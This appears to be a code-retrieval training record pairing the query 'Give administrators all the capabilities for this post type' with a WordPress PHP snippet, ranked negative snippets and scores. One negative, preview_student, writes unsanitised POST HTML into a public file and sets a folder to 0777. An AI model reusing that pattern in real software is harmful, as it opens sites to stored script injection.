{\n\t\t\t$('#uploadStatus').val(\\\"started\\\");\n\t\t\t$('#msg_filename').text(\\\"\\\");\n\t\t},\n\t\t'buttonText' : 'Upload Video',\t\n\t\tformData : { '{$this->getRequest()->getSession()->getSessionName()}' : '{$this->getRequest()->getSession()->getSessionID()}'\n\t\t}\t\t\n\t\t});\n\t\t\"));\n\t\t\n\t\t//$this->addCssResource(new mvcViewCss('uploadifycss', mvcViewCss::TYPE_FILE, '/libraries/jquery-uploadify/uploadify.css'));\n\n\t\t//$this->addJavascriptResource(new mvcViewJavascript('swfobject', mvcViewJavascript::TYPE_FILE, '/libraries/swfobject/swfobject.js'));\n\t\t//$this->addJavascriptResource(new mvcViewJavascript('uploadify', mvcViewJavascript::TYPE_FILE, '/libraries/jquery-uploadify/jquery.uploadify.min.js'));\n\t\t/*\n\t\t$this->addJavascriptResource(new mvcViewJavascript('uploadifyInit', mvcViewJavascript::TYPE_INLINE, \"$('#FileUpload').uploadify({\n\t\t\t\t'uploader' : '/libraries/jquery-uploadify/uploadify.swf',\n\t\t\t\t'script' : '{$this->buildUriPath(uploadController::ACTION_DO_UPLOAD)}',\n\t\t\t\t'cancelImg' : '/libraries/jquery-uploadify/cancel.png',\n\t\t\t\t'auto' : true,\n\t\t\t\t'fileExt' : '*.mov;*.avi;*.wmv;*.mp4;*.mpg;*.m4v',\n\t\t\t\t'fileDesc' : 'Video Files',\n\t\t\t\t'sizeLimit' : 500000000,\n\t\t\t\t'fileDataName': 'Files',\n\t\t\t\t'scriptData': {\n\t\t\t\t\t'{$this->getRequest()->getSession()->getSessionName()}': '{$this->getRequest()->getSession()->getSessionID()}',\n\t\t\t\t\t'ajax': true\n\t\t\t\t},\n\t\t\t\t'onComplete' : function(event, ID, fileObj, response, data) {\n\t\t\t\t\tif ( response != 'failed' ) {\t\t\t\t\t\n\t\t\t\t\t \t$('#fileNameStored').val(response);\n\t\t\t\t\t \t$('#uploadStatus').val(\\\"\\\");\n\t\t\t\t\t\t//alert('upload done');\t\n\t\t\t\t\t\t $('#msg_filename').text(\\\"Upload done : \\\"+fileObj.name);\n\t\t\t\t\t} else {\n\t\t\t\t\t\talert('upload failed');\n\t\t\t\t\t}\n\t\t\t\t},\n\t\t\t\t'onSelectOnce' : function(event,data) {\n\t\t\t\t\t$('#uploadStatus').val(\\\"started\\\");\t\n\t\t\t\t}\t\n\n\t\t\t\t});\n\t\t\"));\n\t\t * \n\t\t */\n\n\t\t/*\n\t\t$this->addJavascriptResource(new mvcViewJavascript('plupload', mvcViewJavascript::TYPE_FILE, '/libraries/plupload/js/plupload.js'));\n\t\t$this->addJavascriptResource(new mvcViewJavascript('pluploadfull', mvcViewJavascript::TYPE_FILE, '/libraries/plupload/js/plupload.full.js'));\n\t\t$this->addJavascriptResource(new mvcViewJavascript('pluploadflash', mvcViewJavascript::TYPE_FILE, '/libraries/plupload/js/plupload.flash.js'));\n\t\t$this->addJavascriptResource(new mvcViewJavascript('pluploadhtml4', mvcViewJavascript::TYPE_FILE, '/libraries/plupload/js/plupload.html4.js'));\n\t\t$this->addJavascriptResource(new mvcViewJavascript('pluploadhtml5', mvcViewJavascript::TYPE_FILE, '/libraries/plupload/js/plupload.html5.js'));\n\t\t$this->addJavascriptResource(new mvcViewJavascript('pluploadjs', mvcViewJavascript::TYPE_FILE, '/libraries/plupload/js/jquery.ui.plupload/jquery.ui.plupload.js'));\n\t\t$this->addJavascriptResource(new mvcViewJavascript('progressBar', mvcViewJavascript::TYPE_FILE, '/libraries/jquery-plugins/jquery.progressbar.min.js'));\n\t\t$this->addJavascriptResource(new mvcViewJavascript('fileStyle', mvcViewJavascript::TYPE_FILE, '/libraries/jquery-plugins/fileStyle/jquery.filestyle.mini.js'));\n\t\t$this->addJavascriptResource(new mvcViewJavascript('html5Uploader', mvcViewJavascript::TYPE_FILE, '/libraries/mofilm/customHTML5Uploader.js'));\n\t\t*/\n\n\t\t$this->getEngine()->assign('newGenres', utilityOutputWrapper::wrap(mofilmTag::listOfObjects(null, null, mofilmTag::TYPE_GENRE)));\n\n\t\t$this->addJavascriptResource(new mvcViewJavascript('smartwizard', mvcViewJavascript::TYPE_FILE, '/libraries/jquery-plugins/smartWizard2/js/jquery.smartWizard-2.0.min.js'));\n\t\t$this->addJavascriptResource(new mvcViewJavascript('creditAutomcomplete', mvcViewJavascript::TYPE_FILE, '/libraries/mofilm/creditAutocomplete.js?'.mofilmConstants::JS_VERSION));\n\t\t$this->getEngine()->assign('eventsall', utilityOutputWrapper::wrap(mofilmEvent::listOfObjects(null, null, true)));\n\t\t$this->getEngine()->assign('oUser', $this->getController()->getRequest()->getSession()->getUser());\n\t\t$list = mofilmRole::listOfObjects();\n\t\t$tmp = array();\n\t\tforeach ( $list as $oObject ) {\n\t\t\t//$tmp[] = $oObject->getDescription();\n\t\t\t$tmp[] = array(\"label\" => $oObject->getDescription(),\"value\" => $oObject->getDescription(),\"key\" => $oObject->getID());\n\n\t\t}\n\t\t$this->getEngine()->assign('availableRoles', json_encode($tmp));\n\t\t$this->getEngine()->assign('index', 0);\n\t\t$this->addJavascriptResource(new mvcViewJavascript('jqueryautocompletehtml', mvcViewJavascript::TYPE_FILE, '/libraries/jqueryautocomplete/jquery.ui.autocomplete.html.js'));\n\t\t$this->render($this->getTpl('upload', '/account'));\n\t}",
"public function publish()\n {\n //View::$blockHeader = true;\n //echo $this->compiled;\n }",
"public function preview_student()\n {\n //some error prevention first\n $siteDetails = $this->sitemodel->getSite($_POST['siteID']);\n\n if ($siteDetails == false) {\n die(\"No details found\");\n }\n //do we have anythin to preview at all?\n if (!isset($_POST['page']) || $_POST['page'] == '') {\n die(\"No page found\");\n }\n\n if (!is_writable('./temp/')) {\n chmod('./temp/', 0777);\n }\n\n $filename = \"temp/preview_\" . $this->generateRandomString(20) . \".html\";\n $previewFile = fopen($filename, \"w\");\n\n $title = '<title>' . $siteDetails['site']->sites_name . '</title>';\n $pageContent = str_replace('<!--pageTitle-->', $title, $_POST['page']);\n\n $base_url = base_url('studentelements');\n\n if (stristr($pageContent, 'href=\"css')) {\n $pageContent = str_replace('href=\"css', 'href=\"' . $base_url . '/css', $pageContent);\n }\n if (stristr($pageContent, 'href=\"scripts')) {\n $pageContent = str_replace('href=\"scripts', 'href=\"' . $base_url . '/scripts', $pageContent);\n }\n if (stristr($pageContent, 'href=\"images')) {\n $pageContent = str_replace('href=\"images', 'href=\"' . $base_url . '/images', $pageContent);\n }\n if (stristr($pageContent, 'src=\"scripts')) {\n $pageContent = str_replace('src=\"scripts', 'src=\"' . $base_url . '/scripts', $pageContent);\n }\n if (stristr($pageContent, 'url(images')) {\n $pageContent = str_replace('url(images', 'url(' . $base_url . '/images', $pageContent);\n }\n if (stristr($pageContent, 'src=\"./images')) {\n $pageContent = str_replace('src=\"./images', 'src=\"' . $base_url . '/images', $pageContent);\n }\n if (stristr($pageContent, 'src=\"images')) {\n $pageContent = str_replace('src=\"images', 'src=\"' . $base_url . '/images', $pageContent);\n }\n if (stristr($pageContent, 'href=\"./images')) {\n $pageContent = str_replace('href=\"./images', 'href=\"' . $base_url . '/images', $pageContent);\n }\n\n fwrite($previewFile, stripcslashes($pageContent));\n\n fclose($previewFile);\n header('Location: ' . base_url($filename));\n }",
"public function renderQuickEdit() {}",
"public function generatePage_preProcessing() {}",
"public function page() {\n\t\t$this->page = $this->plugin->factory->adminPage;\n\t\t$this->page->show();\n\t}",
"public function htmlpreviewAction()\n {\n $this->_setTitle();\n $this->loadLayout();\n\n $data = $this->getRequest()->getParams();\n if (empty($data) || !isset($data['id'])) {\n $this->_forward('noRoute');\n return $this;\n }\n\n // set default value for selected store\n $data['preview_store_id'] = Mage::app()->getDefaultStoreView()->getId();\n\n $this->getLayout()->getBlock('preview_form')->setFormData($data);\n $this->renderLayout();\n }",
"public function render_wizard() {\n\t\tinclude Plugin::instance()->get_view( 'common/page' );\n\t}",
"public function live_preview() {\n\n\t\twp_enqueue_script(\n\t\t\t'my_theme_customizer',\n\t\t\tget_template_directory_uri() . '/theme-customizer.js', //path to script goes here\n\t\t\tarray( 'jquery', 'customize-preview' ),\n\t\t\t'',\n\t\t\ttrue\n\t\t);\n\t}",
"private function _getRenderedView()\n {\n $data = $this->_SocialShareButtonsData();\n\t\t\tif(!$data['hide_on_page']){\n return $this->_loadView('front-buttons', $data);\n }\n }",
"function wp_dashboard_quick_press_output()\n {\n }",
"public function get_preview_name(){\n\t\treturn \"{$this->id}_preview.png\";\n\t}",
"function wp_one_viewer_run () {\n\n \n $urlsInit = new OneViewerEndPoint();\n $urlsInit->Register_Endpoint();\n\n\t$plugin = new OneViewerCore();\n $plugin->init();\n\n}",
"public function livePreviewMainScript() {\r\n\t\t?>\r\n\t\t<script>\r\n\t\twindow.tf_refresh_css = function() {\r\n\t\t\tif ( typeof localStorage !== 'undefined' ) {\r\n\r\n\t\t\t\t// Using localStorage directly as an object-value dictionary doesn't work in FF, create a new object\r\n\t\t\t\tvar localStorageData = {}, keys = Object.keys( localStorage );\r\n\t\t\t\tfor ( var i in keys ) {\r\n\t\t\t localStorageData[ keys[ i ] ] = localStorage.getItem( keys[ i ] );\r\n\t\t\t }\r\n\r\n\t\t\t\twp.ajax.send( 'tf_generate_customizer_css', {\r\n\t\t\t\t success: function( data ) {\r\n\r\n\t\t\t\t\t\t// Add the modified CSS Titan has generated from the preview values.\r\n\t\t\t\t\t\tvar style = document.querySelector('style#tf_live_preview');\r\n\t\t\t\t\t\tif ( ! style ) {\r\n\t\t\t\t\t\t\tvar style = document.createElement('STYLE');\r\n\t\t\t\t\t\t\tstyle.setAttribute( 'id', 'tf_live_preview' );\r\n\t\t\t\t\t\t\tstyle.innerHTML = data.css;\r\n\t\t\t\t\t\t\tdocument.head.appendChild( style );\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\tstyle.innerHTML = data.css;\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t<?php\r\n\t\t\t\t\t\t/**\r\n\t\t\t\t\t\t * Render additional Javascript code for handling different data received for\r\n\t\t\t\t\t\t * live previewing\r\n\t\t\t\t\t\t *\r\n\t\t\t\t\t\t * @since 1.9.2\r\n\t\t\t\t\t\t *\r\n\t\t\t\t\t\t * @see $this->ajaxGenerateCustomizerCSS()\r\n\t\t\t\t\t\t */\r\n\t\t\t\t\t\tdo_action( 'tf_generate_customizer_preview_js' );\r\n\t\t\t\t\t\t?>\r\n\t\t\t\t },\r\n\t\t\t\t\tdata: localStorageData\r\n\t\t\t\t });\r\n\r\n\t\t\t}\r\n\t\t};\r\n\t\t</script>\r\n\t\t<?php\r\n\t}",
"function display() {\n\t\tglobal $wp_version;\n\t\tcf_meta::display();\n\t\tif(is_array($this->wysiwyg_items)) {\n\t\t\t// Move JS to last item after admin footer scripts for WP 2.8+ compatability\n\t\t\tif(version_compare($wp_version,'2.8', '>=')) {\n\t\t\t\tadd_action('admin_print_footer_scripts',array($this,'add_wysiwyg'),999);\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$this->add_wysiwyg();\n\t\t\t}\n\t\t}\n\t\tif(is_array($this->conditions)) {\n\t\t\t$this->display_conditions();\n\t\t}\n\t}",
"function displayPage()\n {\n $this->getState()->template = 'transition-page';\n }",
"public function print_media_templates_handler() {\n\n // define backbone template;\n // the \"tmpl-\" prefix is required,\n // and the input field should have a data-setting attribute\n // matching the shortcode name\n $gallery_defaults = self::get_gallery_defaults();\n\n ?>\n <script type=\"text/html\" id=\"tmpl-gallery-layout-setting\">\n <h2 style=\"display: inline-block;\">Torque Custom Settings</h2>\n <label class=\"setting\">\n <span>Torque Gallery Layout</span>\n <select data-setting=\"<?php echo self::$data_setting_slug; ?>\">\n <option value=\"0\">No Custom Layout</option>\n <option value=\"6|4\">6|4</option>\n <option value=\"4|6\">4|6</option>\n <option value=\"10\">10 (Full Width)</option>\n </select>\n </label>\n </script>\n\n <script>\n\n jQuery(document).ready(function(){\n\n // add shortcode attribute and its default value to the\n // gallery settings list;\n //\n // we set some other default values here for the default wordpress gallery atts\n $.extend(wp.media.gallery.defaults, {\n torque_layout: '<?php echo $gallery_defaults[self::$data_setting_slug]; ?>',\n link: '<?php echo $gallery_defaults['link']; ?>',\n size: '<?php echo $gallery_defaults['size']; ?>',\n columns: '<?php echo $gallery_defaults['columns']; ?>'\n });\n\n // merge default gallery settings template with yours\n wp.media.view.Settings.Gallery = wp.media.view.Settings.Gallery.extend({\n template: function(view){\n /*\n if you want to get back the default wordpress settings, use this return\n\n return wp.media.template('gallery-settings')(view)\n + wp.media.template('gallery-layout-setting')(view);\n */\n\n // return our own settings in place of wordpress default\n return wp.media.template('gallery-layout-setting')(view);\n }\n });\n\n });\n\n </script>\n\n <?php\n }",
"public function preview() {\n $input = isset($this->request->data['input']) ? $this->request->data['input'] : '';\n\n $this->set('input', $input);\n $this->layout = false;\n }"
] | [
"0.73643684",
"0.7277743",
"0.72502196",
"0.7174701",
"0.7174701",
"0.7174701",
"0.7174701",
"0.6970895",
"0.6865307",
"0.67984676",
"0.67830503",
"0.6757197",
"0.6756459",
"0.67402077",
"0.67401415",
"0.67401415",
"0.67124593",
"0.67043525",
"0.66109186",
"0.65995497",
"0.657299",
"0.65647024",
"0.6442177",
"0.6439119",
"0.64326406",
"0.6427757",
"0.6423536",
"0.63984984",
"0.6338412",
"0.63369477",
"0.63361245",
"0.63313156",
"0.6293203",
"0.62841856",
"0.62841856",
"0.62841856",
"0.62841856",
"0.6241533",
"0.62283254",
"0.6226981",
"0.622141",
"0.6178422",
"0.61549056",
"0.6128369",
"0.612598",
"0.6114255",
"0.61072665",
"0.61052454",
"0.61048436",
"0.61043847",
"0.61043847",
"0.61036736",
"0.60952824",
"0.6072706",
"0.6066251",
"0.60539836",
"0.60298294",
"0.6001281",
"0.5991732",
"0.59889644",
"0.59870714",
"0.59831506",
"0.59808177",
"0.5976116",
"0.59672326",
"0.5965705",
"0.59458005",
"0.5934624",
"0.5917141",
"0.5901421",
"0.588268",
"0.5878118",
"0.5875283",
"0.5869757",
"0.58694494",
"0.586607",
"0.5862111",
"0.5860334",
"0.58531386",
"0.58380854",
"0.58374316",
"0.5835948",
"0.581902",
"0.5812759",
"0.580966",
"0.5807252",
"0.58054864",
"0.58053756",
"0.5800309",
"0.5799714",
"0.5799553",
"0.5798788",
"0.5798539",
"0.5788985",
"0.5784996",
"0.57849675",
"0.5784917",
"0.5780816",
"0.57750165",
"0.57718676",
"0.57688844"
] | 0.0 | -1 |
Give administrators all the capabilities for this post type | public function add_capabilties_to_roles()
{
$post_type_object = get_post_type_object($this->name);
global $wp_roles;
$roles = array('administrator');
foreach( (array)$post_type_object->cap as $capability ){
foreach( $roles as $role_name ){
$role = get_role($role_name);
$role->add_cap($capability);
}
}
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function set_admin_caps(){\n\t\t\t\n\t\t\t$caps = $this->set_caps( $this->cpt_args );\n\t\t\t\n\t\t\t$admin = get_role( 'administrator' );\n\n\t\t\tforeach( $caps as $cap ){\n\t\t\t\tif( !$admin->has_cap( $cap ) )\n\t\t\t\t\t$admin->add_cap( $cap );\n\t\t\t}\n\t\t}",
"function mb_add_capabilities( $posttype ) {\n\t// gets the author role\n\t$role = get_role( 'administrator' );\n\n\t// adds all capabilities for a given post type to the administrator role\n\t$role->add_cap( 'edit_' . $posttype . 's' );\n\t$role->add_cap( 'edit_others_' . $posttype . 's' );\n\t$role->add_cap( 'publish_' . $posttype . 's' );\n\t$role->add_cap( 'read_private_' . $posttype . 's' );\n\t$role->add_cap( 'delete_' . $posttype . 's' );\n\t$role->add_cap( 'delete_private_' . $posttype . 's' );\n\t$role->add_cap( 'delete_published_' . $posttype . 's' );\n\t$role->add_cap( 'delete_others_' . $posttype . 's' );\n\t$role->add_cap( 'edit_private_' . $posttype . 's' );\n\t$role->add_cap( 'edit_published_' . $posttype . 's' );\n}",
"public function add_custom_capabilities(){\n\t\t$roles = array( 'editor', 'administrator' );\n\t\t// Loop through each role and assign capabilities\n\t\tforeach($roles as $the_role) { \n\t\t\t$role = get_role($the_role);\n\t\t\t// Post Type\n\t\t\t$role->add_cap( 'edit_person' );\n\t\t\t$role->add_cap( 'read_person' );\n\t\t\t$role->add_cap( 'delete_person' );\n\t\t\t$role->add_cap( 'edit_people' );\n\t\t\t$role->add_cap( 'edit_others_people' );\n\t\t\t$role->add_cap( 'publish_people' );\n\t\t\t$role->add_cap( 'read_private_people' );\n\t\t\t// Taxonomy\n\t\t\t$role->add_cap( 'manage_person_roles' );\n\t\t}\n\t}",
"static public function addAdminCaps()\n {\n // récupérer le rôle administrateur\n $adminRole = get_role('administrator');\n // pour chaque cap prévue pour l'admin sur le CPT courant, on ajoute la cap\n foreach (static::ADMIN_CAPS as $cap => $grant) {\n $adminRole->add_cap($cap, $grant);\n }\n }",
"function register_capabilities_testimonials($post_type_name)\r\r\n{\r\r\n\tglobal $wp_roles;\r\r\n\tif(!isset($wp_roles))\r\r\n\t{\r\r\n\t\t$wp_roles = new WP_Roles();\r\r\n\t}\r\r\n\r\r\n\t$role =& $wp_roles->get_role('administrator');\r\r\n\t$capabilities = $role->capabilities;\r\r\n\t$adminCapabilities = array(\r\r\n\t\t'edit_%s', \r\r\n\t\t'read_%s', \r\r\n\t\t'delete_%s', \r\r\n\t\t'edit_%ss',\r\r\n\t\t'edit_others_%ss',\r\r\n\t\t'publish_%ss',\r\r\n\t\t'read_private_%ss'\r\r\n\t);\r\r\n\tforeach($adminCapabilities as $capFmt)\r\r\n\t{\r\r\n\t\t$capName = sprintf($capFmt, $post_type_name);\r\r\n\t\tif(!array_key_exists($capName, $capabilities))\r\r\n\t\t{\r\r\n\t\t\t// Regardless of capability yes/no, we only care if it has been previously defined.\r\r\n\t\t\t$role->add_cap($capName);\r\r\n\t\t}\r\r\n\t}\r\r\n}",
"function add_dd_post_order_capability(){\n\n\t$role = get_role( 'administrator' );\n\t$role->add_cap( 'order_posts', true );\n}",
"public function add_caps_to_roles(): void {\n\t\t$all_capabilities_raw = $this->get_all_capabilities();\n\t\t$all_capabilities = array_values( $all_capabilities_raw );\n\n\t\t$administrator = get_role( 'administrator' );\n\t\t$editor = get_role( 'editor' );\n\t\t$author = get_role( 'author' );\n\t\t$contributor = get_role( 'contributor' );\n\n\t\tif ( $administrator instanceof WP_Role ) {\n\t\t\tforeach ( $all_capabilities as $cap ) {\n\t\t\t\t$administrator->add_cap( $cap );\n\t\t\t}\n\t\t}\n\n\t\tif ( $editor instanceof WP_Role ) {\n\t\t\tforeach ( $all_capabilities as $cap ) {\n\t\t\t\t$editor->add_cap( $cap );\n\t\t\t}\n\t\t}\n\n\t\tif ( $author instanceof WP_Role ) {\n\t\t\t$author->add_cap( $all_capabilities_raw['edit_posts'] );\n\t\t\t$author->add_cap( $all_capabilities_raw['edit_published_posts'] );\n\t\t\t$author->add_cap( $all_capabilities_raw['delete_posts'] );\n\t\t\t$author->add_cap( $all_capabilities_raw['delete_published_posts'] );\n\t\t\t$author->add_cap( $all_capabilities_raw['publish_posts'] );\n\t\t\t$author->add_cap( $all_capabilities_raw['assign_terms'] );\n\t\t}\n\n\t\tif ( $contributor instanceof WP_Role ) {\n\t\t\t$contributor->add_cap( $all_capabilities_raw['edit_posts'] );\n\t\t\t$contributor->add_cap( $all_capabilities_raw['delete_posts'] );\n\t\t\t$contributor->add_cap( $all_capabilities_raw['assign_terms'] );\n\t\t}\n\n\t\t/**\n\t\t * Fires when adding the custom capabilities to existing roles.\n\t\t *\n\t\t * Can be used to add the capabilities to other, custom roles.\n\t\t *\n\t\t * @since 1.0.0\n\t\t *\n\t\t * @param array $all_capabilities List of all post type capabilities, for reference.\n\t\t */\n\t\tdo_action( 'web_stories_add_capabilities', $all_capabilities );\n\t}",
"function pati_initialize_capabilities(){\r\n $admin = get_role( 'administrator' );\r\n $subscriber = get_role( 'subscriber' );\r\n $editor = get_role( 'editor' ); \r\n\r\n /**\r\n * General Capability for the Ticket CRUD Operations\r\n */\r\n $admin->add_cap('edit_ticket');\r\n $admin->add_cap('edit_tickets');\r\n $admin->add_cap('read_ticket');\r\n $admin->add_cap('delete_ticket');\r\n $admin->add_cap('edit_others_tickets');\r\n $admin->add_cap('publish_tickets');\r\n $admin->add_cap('read_private_tickets');\r\n $admin->add_cap('delete_private_tickets');\r\n $admin->add_cap('delete_published_tickets');\r\n $admin->add_cap('delete_others_tickets');\r\n $admin->add_cap('edit_private_tickets');\r\n $admin->add_cap('edit_published_tickets');\r\n $admin->add_cap('assign_ticket');\r\n\r\n /**\r\n * Capabilities for the Editor User\r\n */\r\n $editor->add_cap('edit_ticket');\r\n $editor->add_cap('edit_tickets');\r\n $editor->add_cap('read_ticket');\r\n $editor->add_cap('delete_ticket');\r\n $editor->add_cap('edit_others_tickets');\r\n $editor->add_cap('publish_tickets');\r\n $editor->add_cap('read_private_tickets');\r\n $editor->add_cap('delete_private_tickets');\r\n $editor->add_cap('delete_published_tickets');\r\n $editor->add_cap('delete_others_tickets');\r\n $editor->add_cap('edit_private_tickets');\r\n $editor->add_cap('edit_published_tickets');\r\n $editor->add_cap('assign_ticket');\r\n\r\n /**\r\n * Additional Capabilities for Subscriber\r\n */\r\n $subscriber->add_cap('edit_ticket');\r\n $subscriber->add_cap('read_ticket');\r\n $subscriber->add_cap('edit_tickets');\r\n}",
"public function check_capabilities() {\n\n add_action('admin_init', array( $this, 'init' ) );\n\n // Make sure user can edit theme options\n if ( ! current_user_can('edit_theme_options') ) {\n return;\n }\n\n // Add the menu item\n add_action('admin_menu', array( $this, 'create_menu' ) );\n\n // Load required asstes\n add_action('admin_enqueue_scripts', array( $this, 'load_assets' ) );\n\n }",
"function update_custom_order_capability_settings(){\n\tif( ! current_user_can( 'order_posts' ) ){\n\t\twp_send_json_error( 'Oooops, you haven\\'t got the permission to do that' );\n\t}\n\n\tif( isset( $_POST[ 'custom_post_order_capabilities' ] ) ){\n\n\t\t$roles_can_order_posts = $_POST[ 'custom_post_order_capabilities' ];\n\n\n\t\t$all_roles = new WP_Roles();\n\n\n\t\tforeach( $all_roles->roles as $key => $role ){\n\t\t\tif( in_array( $key, $roles_can_order_posts ) ){\n\n\t\t\t\t$role_add = get_role( $key );\n\t\t\t\t$role_add->add_cap( 'order_posts', true );\n\n\t\t\t} else{\n\n\t\t\t\t$role_remove = get_role( $key );\n\t\t\t\t$role_remove->remove_cap( 'order_posts', true );\n\t\t\t}\n\t\t}\n\n\t}\n}",
"public static function addAccessCapability() {\n foreach (wp_roles()->role_objects as $name => $role) {\n if (in_array($name, static::getAccessibleRoles())) {\n $role->add_cap('admin_access');\n }\n }\n }",
"public function get_capabilities() {\n\t\treturn array( WPML_Manage_Translations_Role::CAPABILITY, 'manage_options' );\n\t}",
"function add_capability( $capabilities ) {\n\n $capabilities[ self::$capability ] = __( 'Manage Admin Tools', 'wpp' );\n\n return $capabilities;\n }",
"public static function assign_capabilities() {\n global $wp_roles;\n if (!isset($wp_roles)) {\n $wp_roles = new WP_Roles();\n }\n\n $all_roles = $wp_roles->roles;\n foreach ($all_roles as $role_name => $role_info) {\n $role = get_role($role_name);\n\n if (is_multisite()) {\n // Multisite, only super admin should be able to disable security checks\n self::map_capability($role, $role_info, array('install_plugins', 'manage_network_plugins'), 'disable_h5p_security');\n }\n else {\n // Not multisite, regular admin can disable security checks\n self::map_capability($role, $role_info, 'install_plugins', 'disable_h5p_security');\n }\n self::map_capability($role, $role_info, 'manage_options', 'manage_h5p_libraries');\n self::map_capability($role, $role_info, 'edit_others_pages', 'install_recommended_h5p_libraries');\n self::map_capability($role, $role_info, 'edit_others_pages', 'edit_others_h5p_contents');\n self::map_capability($role, $role_info, 'edit_posts', 'edit_h5p_contents');\n self::map_capability($role, $role_info, 'read', 'view_others_h5p_contents');\n self::map_capability($role, $role_info, 'read', 'view_h5p_contents');\n self::map_capability($role, $role_info, 'read', 'view_h5p_results');\n }\n\n // Keep track on how the capabilities are assigned (multisite caps or not)\n update_option('h5p_multisite_capabilities', is_multisite() ? 1 : 0);\n }",
"function wysija_capabilities($capabilities) {\n $model_config = WYSIJA::get('config', 'model');\n if (WYSIJA::is_plugin_active('wysija-newsletters-premium/index.php') && $model_config->getValue('premium_key')) {\n $tmp = array();\n $is_added_stats_dashboard = false;\n foreach ($capabilities as $role => $capability) {\n $tmp[$role] = $capability;\n if ($role === 'subscribers') { // add this setting, right below Subscribers setting\n $tmp['stats_dashboard'] = array(\n 'label' => __('Who can view the statistics page?', WYSIJA)\n );\n $is_added_stats_dashboard = true;\n }\n }\n\n if (!$is_added_stats_dashboard) {// if Subscribers setting is not available, by default, put it at the bottom\n $tmp['stats_dashboard'] = array(\n 'label' => __('Who can view the statistics page?', WYSIJA)\n );\n }\n $capabilities = $tmp;\n }\n return $capabilities;\n }",
"function egsr_group_admin_cap(){\n return Array ( \n 'add_users' => true,\n 'create_users' => true,\n 'delete_users' => true,\n 'delete_others_pages' => true,\n 'delete_others_posts' => true,\n 'delete_pages' => true,\n 'delete_posts' => true,\n 'delete_private_pages' => true,\n 'delete_private_posts' => true,\n 'delete_published_pages' => true,\n 'delete_published_posts' => true,\n 'edit_others_pages' => true,\n 'edit_others_posts' => true,\n 'edit_pages' => true,\n 'edit_posts' => true,\n 'edit_private_pages' => true,\n 'edit_private_posts' => true,\n 'edit_published_pages' => true,\n 'edit_published_posts' => true,\n 'edit_users' => true,\n 'list_users' => true,\n 'manage_categories' => true,\n 'manage_links' => true,\n 'moderate_comments' => true,\n 'publish_pages' => true,\n 'publish_posts' => true,\n 'read' => true,\n 'read_private_pages' => true,\n 'read_private_posts' => true,\n 'unfiltered_html' => true,\n 'upload_files' => true,\n );\n}",
"function get_post_type_capabilities($args)\n {\n }",
"function adleex_resource_define_cap() {\n\t$admin = get_role('administrator');\n\t$admin->add_cap('delete_resources');\n\t$admin->add_cap('edit_resources');\n\t$admin->add_cap('publish_resources');\n\t$admin->add_cap('edit_published_resources');\n\t$admin->add_cap('delete_published_resources');\n\t$admin->add_cap('read_private_resources');\n\t$admin->add_cap('edit_private_resources');\n\t$admin->add_cap('delete_private_resources');\n\t$admin->add_cap('edit_others_resources');\n\t$admin->add_cap('delete_others_resources');\n}",
"function add_event_caps() {\r\n\t\r\n\t// Administrador Permissões\r\n\r\n\t$role = get_role( 'administrator' );\r\n\t// Ramais\r\n/*\t$role->add_cap( 'edit_ramal' ); \r\n\t$role->add_cap( 'read_ramal' ); \r\n\t$role->add_cap( 'delete_ramal' ); \r\n\t$role->add_cap( 'edit_ramais' ); \r\n\t$role->add_cap( 'edit_others_ramais' ); \r\n\t$role->add_cap( 'publish_ramais' ); \r\n\t$role->add_cap( 'read_private_ramais' ); \r\n\t$role->add_cap( 'create_ramais' ); \r\n\t*/\r\n\t// Comunicados\r\n\t$role->add_cap( 'edit_comunicado' ); \r\n\t$role->add_cap( 'read_comunicado' ); \r\n\t$role->add_cap( 'delete_comunicado' ); \r\n\t$role->add_cap( 'edit_comunicados' ); \r\n\t$role->add_cap( 'edit_others_comunicados' ); \r\n\t$role->add_cap( 'publish_comunicados' ); \r\n\t$role->add_cap( 'read_private_comunicados' ); \r\n\t$role->add_cap( 'create_comunicados' ); \r\n\t$role->add_cap( 'birthdays_list' );\r\n\t$role->add_cap('events');\r\n\t$role->add_cap('news');\r\n\t\r\n\t$role = get_role( 'cms' );\r\n\r\n\t$role->add_cap('news');\r\n\t$role->add_cap('edit_posts');\r\n\t$role->add_cap('read_posts');\r\n\t$role->add_cap('delete_posts');\r\n\t$role->add_cap('publish_posts');\r\n\t$role->add_cap('create_posts');\r\n\t$role->add_cap('edit_published_posts');\r\n\t$role->add_cap('delete_published_posts');\r\n\t$role->add_cap('read');\r\n\t$role->add_cap( 'edit_galeria' ); \r\n\t$role->add_cap( 'read_galeria' ); \r\n\t$role->add_cap( 'delete_galeria' ); \r\n\t$role->add_cap( 'edit_galeria' ); \r\n\t$role->add_cap( 'edit_others_galeria' ); \r\n\t$role->add_cap( 'publish_galeria' ); \r\n\t$role->add_cap( 'read_private_galeria' ); \r\n\t$role->add_cap( 'create_galeria' ); \r\n\t$role->add_cap( 'galeria' ); \r\n\t\r\n\t// $role->remove_cap('events');\r\n\t\r\n\t\r\n\t$role = get_role( 'rh' );\r\n\t\r\n\t$role->add_cap( 'edit_posts' ); \r\n\t$role->add_cap('read_posts');\r\n\t$role->add_cap( 'edit_comunicado' ); \r\n\t$role->add_cap( 'read_comunicado' ); \r\n\t$role->add_cap( 'delete_comunicado' ); \r\n\t$role->add_cap( 'edit_comunicados' ); \r\n\t$role->add_cap( 'edit_others_comunicados' ); \r\n\t$role->add_cap( 'publish_comunicados' ); \r\n\t$role->add_cap( 'read_private_comunicados' ); \r\n\t$role->add_cap( 'create_comunicados' );\r\n\t$role->add_cap('birthdays_list');\r\n\t$role->add_cap('events');\r\n\t$role->add_cap('read');\r\n\r\n\t$role->add_cap('read_posts');\r\n\t$role->add_cap('delete_posts');\r\n\t$role->add_cap('publish_posts');\r\n\t$role->add_cap('create_posts');\r\n\t$role->add_cap('edit_published_posts');\r\n\t$role->add_cap('delete_published_posts');\r\n\t$role->add_cap('read');\r\n\t\r\n\t\r\n\t$role = get_role('subscriber');\r\n\r\n\t$role->remove_cap('edit_posts');\r\n\t$role->remove_cap('events');\r\n\t$role->remove_cap( 'birthdays_list' );\r\n\t$role->add_cap('read');\r\n}",
